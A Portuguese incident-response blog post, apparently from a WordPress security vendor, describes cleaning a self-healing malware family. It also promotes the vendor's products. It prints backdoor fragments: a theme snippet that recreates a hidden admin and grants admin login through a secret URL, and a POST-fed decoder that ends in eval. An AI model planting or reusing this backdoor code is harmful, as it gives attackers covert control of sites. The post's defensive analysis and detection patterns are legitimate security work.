O malware WordPress que se reinstala sozinho
Publicado 5 de novembro de 2026
Um cliente escreveu porque o site WordPress dele tinha parado de funcionar. Para investigar, ele precisava de acesso SSH ao servidor — num host gerenciado — e tinha gerado uma chave, mas travado. A gente guiou — aquele clássico do Windows em que o Bloco de Notas salva a chave com quebras de linha CRLF e o OpenSSH recusa com invalid format — e ele entrou.
O acesso que montamos para descobrir por que o site estava fora foi exatamente o que nos deixou ver o incêndio.
Porque a mensagem seguinte foi: “o host acabou de marcar estes arquivos infectados” — uma lista de cinco — “vamos desinfetar o site e procurar por mais.”
Então lemos os cinco. Não eram cinco arquivos soltos. Eram a ponta visível de um framework de malware coordenado e auto-reparável: um gerenciador de arquivos completo plantado como webshell, um uploader com comentários em russo, plugins falsos usando os nomes de ferramentas legítimas do host, e backdoors empacotados. Uma família que se chama, internamente, de “Easypost”.
O host marcou cinco. Eram mais de vinte.
O scanner de malware do host não é ruim. Ele só enxerga aquilo para o que tem assinatura. A gente varreu a conta inteira por estrutura de código em vez de por nome de arquivo, e a conta pulou de cinco para mais de vinte artefatos distintos:
- Um plugin falso com 22 arquivos — um backdoor REST, geo-gating, uma camada de spam, e o próprio
recovery.zip. - Mais três plugins falsos, um deles assinado como se “WordPress.org” tivesse escrito.
- Persistência plantada em
mu-plugins— a pasta must-use que o WordPress carrega em toda requisição, sem precisar ativar. - Código injetado no
functions.phpdo tema ativo. - Cópias do malware escondidas em
uploads, emcache, e dentro do diretório do tema. - Tarefas agendadas (cron) maliciosas e um monte de opções injetadas no banco de dados.
- Cinco contas de administrador falsas.
- 68 posts de spam — lixo de cassino e apostas — publicados sob uma dessas contas falsas.
A conta de admin falsa mais antiga era de janeiro. Guarde isso; importa mais adiante.
Foi construído para voltar
Aqui está a parte que torna essa família perigosa, e o motivo de “apagar os arquivos ruins” ser uma armadilha.
Ele se vigiava. Um “watchdog” e vários “guards” — cópias idênticas enfiadas no tema, na pasta de uploads e no cache — monitoravam a instalação e re-plantavam tudo a partir de um recovery.zip cacheado no instante em que algo sumia. E o functions.php do tema tinha ganhado duas tarefas que nunca deveria ter: recriar uma conta de admin oculta a cada carregamento de página, e responder a uma URL secreta, ?login_as_admin3912, que logava o visitante direto como o primeiro administrador.
if ( ! username_exists( 'adminJCeN' ) ) {
$id = wp_insert_user( $args ); // recria o admin oculto
update_option( '_pre_user_id', $id ); // e some com ele da lista de usuários
}
if ( isset( $_GET['login_as_admin3912'] ) ) {
wp_set_auth_cookie( $admins[0]->ID ); // admin na hora, sem senha
}
Apague os arquivos e os guards recolocam. Apague o admin falso e o tema recria na próxima visita. Se você limpa isso na ordem errada, ele se cura mais rápido do que você esfrega.
Então a ordem é o método:
- Preservar primeiro. SHA-256 de cada artefato e cópia para uma quarentena somente-leitura antes de tocar em nada. Cadeia de custódia, para o relatório poder provar o que havia ali.
- Matar a fonte de recuperação primeiro — a opção do banco que guarda o pacote, e o
recovery.zipcacheado. Depois os re-droppers. Depois os arquivos, as linhas do banco, a injeção no tema, as contas. - Verificar — varrer por assinaturas de novo e observar a contagem ficar em zero.
Faça na ordem código-primeiro e a coisa revive enquanto você trabalha. Faça recuperação-primeiro e ela fica morta.
Como entraram — não foi um exploit
A gente puxou os logs de acesso para achar o vetor de entrada, esperando um plugin vulnerável. Estávamos errados.
Cada onda de malware batia, no minuto, com um login de administrador bem-sucedido. Não uma requisição de exploit — um POST /wp-login.php simples retornando 302, de cerca de quinze IPs rotativos em países diferentes. O atacante não estava arrombando. Ele estava logando, com credenciais que funcionavam.
E o tráfego de força bruta que também martelava a tela de login? Bloqueado — toda tentativa voltava 503, limitada pelo host. Aquele ataque barulhento era o engodo que você culparia. Nunca foi a entrada.
A entrada de verdade era silenciosa, e antiga: aquela conta de admin de janeiro era anterior à migração do site do host anterior. O ponto de apoio veio junto com a migração e ficou ali por meses.
É essa a lição em que o caso inteiro gira: o vetor foi uma credencial, não um hack esperto. Por isso a solução não é mais um plugin de segurança — é autenticação de dois fatores e senhas rotacionadas. Um plugin não para um login que tem a senha certa. Um segundo fator para. (É a mesma raiz que achamos num site de saúde comprometido duas vezes com o Wordfence Premium instalado — uma conta de admin legítima, abusada.)
Os quatro que quase escaparam
A gente rodou a varredura, chegou a zero, e deu por limpo.
Aí o dono abriu um arquivo que não tínhamos marcado: invocactf.php. Não estava no nosso relatório. Lemos — e era outro backdoor. Puxando esse fio apareceram quatro deles (invocactf.php, mb_convert.php, uconvert.php, partition.php) que tinham passado pela nossa primeira varredura de assinaturas e pelo scan automatizado que rodamos como checagem independente.
Por que tudo deixou passar? Porque não carregavam nenhum dos sinais típicos — sem base64, sem gzinflate, sem strings da família. Só um decoder feito à mão:
if ( isset( $_POST['ydbyzcefn'] ) ) {
foreach ( explode( '.', $_POST['ydbyzcefn'] ) as $i => $v )
$d .= chr( ( ( ( (int) $v ) - ord( $abc[$i % 36] ) - ( $i % 10 ) ) ^ 253 ) & 255 );
eval( '?>' . $d ); // roda o que o atacante mandar via POST
}
Um scan de assinatura procura payloads conhecidos. Aqui não tem payload no arquivo — ele constrói o payload, em tempo de execução, a partir do que for enviado via POST. Então paramos de caçar strings e passamos a caçar a forma do decoder: chr(((((int), eval("?>, explode(".", $_POST). Varremos a conta de hospedagem inteira com isso, e os quatro apareceram na hora. Removidos, re-verificados, zero.
Estamos te contando essa parte de propósito. Um estudo de caso que diz “detectamos tudo na hora” é marketing. A versão honesta é mais útil: a primeira varredura deixou quatro passarem, a gente entendeu por quê, corrigiu o método, e essa forma de decoder agora faz parte do que procuramos em todo site. Nenhum scan — o nosso, o do host, o de qualquer um — é prova de que um site está limpo. É uma foto de um instante, e assinaturas só enxergam o passado.
O que “limpo” é de verdade
A gente não ficou na própria palavra. O site foi verificado por três vias: duas varreduras internas de ângulos diferentes, e um scan independente, somente-leitura, do Site Doctor — que voltou com zero críticos (o único aviso era um falso positivo: o cache de ícones de um plugin legítimo). O próprio core do WordPress bateu limpo contra os checksums oficiais, então não havia o que reinstalar. A cópia de staging na mesma conta: também limpa.
Depois endurecemos: salts rotacionados para matar toda sessão do atacante, as senhas de admin reais trocadas, e 2FA imposto nas contas. A porta da credencial está fechada.
Três coisas para levar
1. O “tudo certo” do seu host cobre o que o host consegue ver. Aqui ele marcou cinco de mais de vinte artefatos — não por ser ruim, mas porque um scanner só conhece as próprias assinaturas. Uma limpeza de verdade varre a conta inteira por estrutura, não só os arquivos que ele já reconhece.
2. Se o malware fica voltando, apagá-lo não é o trabalho. Famílias auto-reparáveis se reconstroem a partir de um pacote de recuperação e de re-droppers que você ainda não achou. Você tem que cortar a fonte de recuperação primeiro, na ordem, ou ela se cura enquanto você limpa.
3. A entrada quase sempre é uma credencial, não um exploit. O firewall mais forte do mundo não para alguém que loga com a senha certa. Ligue o 2FA e rotacione as senhas — essa é a solução que o vetor de verdade pede.
Uma segunda opinião somente-leitura
O Site Doctor é um plugin somente-leitura: ele lê o site inteiro — arquivos, banco, opções, cron, o código-fonte dos próprios plugins — e não consegue mudar nada, porque a operação de escrita não existe no código dele. É por isso que você pode instalá-lo no site de um cliente sem pedir permissão a ninguém, e por isso ele é a ferramenta certa para uma segunda opinião quando um scan diz “limpo” e seu instinto diz o contrário. O SYSWP Shield é o que impede que o próximo login vire o próximo incidente.
Se você gerencia sites WordPress e já teve aquela sensação de “o scanner diz que está tudo bem, mas tem algo errado”, mande um site pra gente. A gente lê e te diz por escrito o que encontrou em até 24 horas — inclusive se não encontrarmos nada.